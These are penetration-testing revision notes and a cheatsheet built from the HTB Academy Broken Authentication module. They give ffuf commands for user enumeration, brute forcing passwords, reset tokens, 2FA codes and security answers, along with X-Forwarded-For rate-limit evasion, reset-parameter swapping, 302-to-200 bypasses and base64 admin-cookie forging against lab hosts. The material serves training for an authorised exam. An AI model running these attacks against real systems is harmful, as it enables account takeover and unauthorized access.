Broken Authentication — User Enumeration, Brute Forcing, Reset Logic, Bypasses and Session Attacks (HTB CWES)
Built from the Broken Authentication module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every command, payload and flag kept, condensed. Labs and lessons are on HTB Academy.
Authentication = proving you are who you claim to be. It is the first line of defense and the most widely deployed security control, which makes its flaws high-impact. This module attacks knowledge-based auth (passwords, PINs, security questions) — the easiest category to attack — plus the session layer underneath it. The craft is spotting where a login, reset, 2FA or session-token flow leaks, can be brute-forced, or can be skipped entirely.
1. Enumerating users
A web app is vulnerable when it responds differently to valid vs invalid usernames — on login, registration or password reset. Even WordPress does this by default ("Unknown username" vs "The password you entered for editor is incorrect"). A valid-user list narrows every later attack and enables password spraying.
Exploit the error-message difference with ffuf: FUZZ the username, keep only responses that don't contain the invalid-user string with -fr (filter regex):
ffuf -w /opt/useful/seclists/Usernames/xato-net-10-million-usernames.txt \
-u http://172.17.0.2/index.php -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=FUZZ&password=invalid" -fr "Unknown user"
# * FUZZ: consuelo
Usernames are far simpler than passwords (rarely special chars). Start from SecLists. Enumeration can also happen via side channels — e.g. response timing when the app only does a DB lookup for valid users (covered in the Whitebox Attacks module).
2. Brute-forcing passwords
Once you have a valid user, match your wordlist to the app's password policy first — don't waste attempts on passwords the policy forbids. rockyou.txt has ~14.3M entries; filtering to "≥10 chars, upper+lower+digit" cuts it ~99% to ~150k:
grep '[[:upper:]]' rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt
# or, in one awk:
awk 'length($0) >= 10 && /[a-z]/ && /[A-Z]/ && /[0-9]/' rockyou.txt > custom_wordlist.txt
Intercept a failed login to learn the POST parameter names and the failure substring, then fuzz the password and filter out the failure string:
ffuf -w ./custom_wordlist.txt -u http://172.17.0.2/index.php -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=FUZZ" -fr "Invalid username"
# [Status: 302 ...] * FUZZ: Buttercup1 ← 302 redirect = success
3. Brute-forcing password reset tokens
Reset flows issue a one-time token (emailed/SMS) that lets a user set a new password without the old one. A short/numeric token is brute-forceable → account takeover. Example reset link: .../reset_password.php?token=7351 — a 4-digit token is only 10,000 values.
Generate every padded token with seq -w and fuzz the token GET parameter:
seq -w 0 9999 > tokens.txt # -w zero-pads: 0000,0001,...,9999
ffuf -w ./tokens.txt -u "http://weak_reset.htb/reset_password.php?token=FUZZ" \
-fr "The provided token is invalid"
# * FUZZ: 6182
If targeting a specific user, request their reset first to create a live token. Then hit reset_password.php?token=<hit> to set a new password and take over.
4. Brute-forcing 2FA codes
2FA adds a second factor (commonly a TOTP to a phone/app). A short numeric OTP with no submission limit is just another brute-force. A 4-digit OTP = 10,000 values. Capture the request: the code sits in an otp POST param, and you must send your authenticated session cookie (PHPSESSID) so the OTP binds to your session:
seq -w 0 9999 > tokens.txt
ffuf -w ./tokens.txt -u http://bf_2fa.htb/2fa.php -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "PHPSESSID=fpfcm5b8dh1ibfa7idg0he7l93" -d "otp=FUZZ" -fr "Invalid 2FA Code"
# first 302 hit = correct OTP (later 302s = session already passed 2FA)
The first hit is the real code; once the session passes 2FA every subsequent request also 302s. Then just browse to /admin.php.
5. Weak brute-force protection
Rate limits throttle or block after N requests, usually keyed on IP. Behind a proxy/load balancer the source IP is the middlebox's, so some apps trust X-Forwarded-For to find the "real" client — but an attacker controls that header. Randomize it per request to dodge an IP-based limit entirely (cf. CVE-2020-35590):
# ffuf: spoof a changing X-Forwarded-For (use a list/script of IPs)
ffuf -w ips.txt:IP -w pass.txt:FUZZ -u http://target/login -X POST \
-H "X-Forwarded-For: IP" -d "username=admin&password=FUZZ" -fr "Invalid"
CAPTCHAs force a human per request. Flawed implementations leak the solution in the response/DOM (read it and submit it); modern OCR/AI solvers and extensions also defeat weak CAPTCHAs. The rule they break: never send the CAPTCHA answer to the client.
6. Default credentials
After install, many apps ship with default creds that never get changed. OWASP lists Testing for Default Credentials as a core auth check (admin/password being the classic). Sources:
- CIRT.net default-password DB (search by vendor, e.g. Cisco)
- SecLists Default-Credentials
- SCADAPASS for ICS/SCADA gear
- a targeted search —
<product> default credentials(e.g. BookStack →admin@admin.com:passwordfrom the install docs)
7. Vulnerable password reset logic
Even with rate limits and CAPTCHAs, business-logic bugs in the reset flow enable takeover.
Guessable security questions. "What city were you born in?", "mother's maiden name" — OSINT-able or brute-forceable, and identical for every user. Build a city wordlist and fuzz the answer (send the session cookie that binds to the target username you set earlier):
cat world-cities.csv | cut -d ',' -f1 > city_wordlist.txt # ~26,468 cities
cat world-cities.csv | grep Germany | cut -d ',' -f1 > german_cities.txt # narrow by OSINT → ~1,117
ffuf -w ./city_wordlist.txt -u http://pwreset.htb/security_question.php -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "PHPSESSID=39b54j201u3rhu4tab1pvdb4pv" \
-d "security_response=FUZZ" -fr "Incorrect response."
# * FUZZ: Houston
Manipulating the reset request. When the username rides along as a (hidden) parameter and the app doesn't verify it stays consistent across steps, swap it on the final request to reset someone else's password:
POST /reset_password.php HTTP/1.1
Host: pwreset.htb
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=39b54j201u3rhu4tab1pvdb4pv
password=P@$$w0rd&username=admin ← answered the question as htb-stdnt, reset admin
Fix: keep one consistent, server-side state for the whole reset; never trust a client-supplied username on the final step.
8. Authentication bypass via direct access
If the app enforces auth only at the login page, request the protected endpoint directly. The common vulnerable variant: a redirect that doesn't stop execution, so the full protected body is still sent in a 302:
if(!$_SESSION['active']) {
header("Location: index.php"); // redirects...
// ...but no exit; → protected HTML is still rendered below
}
The browser follows the 302 and shows the login page, hiding the leaked body. In Burp: turn on Intercept, request /admin.php, intercept the response (right-click → Do intercept > Response to this request), and change the status line from 302 Found to 200 OK, then forward — the browser now renders the admin page. Fix: add exit; after the redirect.
9. Authentication bypass via parameter modification
Auth that hinges on an HTTP parameter's presence/value is bypassable — closely related to IDOR (see the Web Attacks module). Here, login redirects to /admin.php?user_id=183:
- Drop
user_id→ redirected to login (so the param is what gates access, not just the session). - Access
/admin.php?user_id=183directly →200 OK, auth bypassed. - The name implies an identifier you can change: guess/brute-force an admin's
user_idto load the page with admin privileges.
More routes to auth bypass (not in this module): PHP type juggling (Whitebox Attacks), injection-driven bypass (Injection Attacks, SQL Injection Fundamentals), and logic bugs (Parameter Logic Bugs).
10. Attacking session tokens
A valid session token is the user to the app — steal/forge one and you take over the session, no password needed.
Insufficient entropy → brute-force. A 4-char token (session=a5fd) is trivially enumerable. Subtler: a 32-char token that's mostly static — capture several and diff them:
2c0c58b27c71a2ec5bf2b4 b6e8 92b9f9
2c0c58b27c71a2ec5bf2b4 5460 92b9f9 ← only 4 middle chars change
2c0c58b27c71a2ec5bf2b4 97f5 92b9f9
Only the 4 dynamic chars need brute-forcing. Incrementing tokens (141233, 141234, 141237…) are worse — just ++/-- to hijack past/future sessions. Always capture multiple tokens and check for randomness.
Predictable / encoded tokens. A token that looks random is often just encoded data you can tamper with (no integrity check):
echo -n dXNlcj1odGItc3RkbnQ7cm9sZT11c2Vy | base64 -d # → user=htb-stdnt;role=user
echo -n 'user=htb-stdnt;role=admin' | base64 # forge admin cookie
# dXNlcj1odGItc3RkbnQ7cm9sZT1hZG1pbg==
echo -n 'user=htb-stdnt;role=admin' | xxd -p # same trick for hex-encoded tokens
Watch for base64 / hex / URL-encoded cookie data. Encryption-based tokens may also be forgeable, but that's hard blackbox without the generation source.
11. Further session attacks
Session fixation — the app doesn't rotate the token on login, and lets an attacker preset it (e.g. a sid GET param that becomes the session cookie). The attacker fixes a token they know into the victim's browser; after the victim logs in, that same token is authenticated and the attacker reuses it:
Fix: issue a new random session token after every successful authentication.
Improper session timeout — a token with no expiry stays valid forever, so a hijacked session is usable indefinitely. Set a timeout to the business context (minutes for health/banking, hours for social).
12. What to carry into the CWES exam
- Enumerate users first (differing error messages,
-fr), then target brute force / spraying on the valid set. - Match the wordlist to the policy (
grep/awk) before brute forcing passwords;302usually means success. - Short numeric secrets fall fast:
seq -w 0 9999+ffuffor 4-digit reset tokens and 2FA OTPs — and send yourPHPSESSIDso the guess binds to your session. First hit wins. - Beat weak protection: randomize
X-Forwarded-Foragainst IP rate limits; read CAPTCHA answers leaked to the client. - Try the easy bypasses before the clever ones: default creds; request the protected page directly (302→200 in Burp); flip/guess an auth parameter (
user_id). - Reset logic: brute security answers (city lists), and swap a client-supplied
usernameon the final reset request. - Sessions: capture several tokens, diff for static/incrementing parts, decode base64/hex and forge
role=admin, and check for fixation + no timeout.
Cheatsheet — Broken Authentication
User enumeration & password brute force
ffuf -w users.txt -u http://T/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user"
grep '[[:upper:]]' rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt
awk 'length($0) >= 10 && /[a-z]/ && /[A-Z]/ && /[0-9]/' rockyou.txt > custom_wordlist.txt
ffuf -w custom_wordlist.txt -u http://T/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username"
Reset tokens, 2FA, security questions
seq -w 0 9999 > tokens.txt
ffuf -w tokens.txt -u "http://T/reset_password.php?token=FUZZ" -fr "The provided token is invalid"
ffuf -w tokens.txt -u http://T/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=SID" -d "otp=FUZZ" -fr "Invalid 2FA Code"
cat world-cities.csv | cut -d ',' -f1 > city_wordlist.txt
ffuf -w city_wordlist.txt -u http://T/security_question.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=SID" -d "security_response=FUZZ" -fr "Incorrect response."
Bypasses
# direct access: Burp → intercept response to /admin.php → change 302 Found to 200 OK → forward
# missing exit; after header("Location: ...") leaks the protected body
# parameter mod: GET /admin.php?user_id=183 (drop param → login; set/brute it → bypass)
# reset logic: password=NEW&username=admin (swap the trailing username param)
# rate limit: -H "X-Forwarded-For: <random IP each request>"
Session tokens
echo -n <b64token> | base64 -d # decode → user=...;role=user
echo -n 'user=htb-stdnt;role=admin' | base64 # forge admin
echo -n 'user=htb-stdnt;role=admin' | xxd -p # hex variant
# diff several captured tokens for static/incrementing parts; brute only the dynamic chars
Built from HTB Academy's Broken Authentication module — labs, lessons and the CWES exam are on HTB Academy.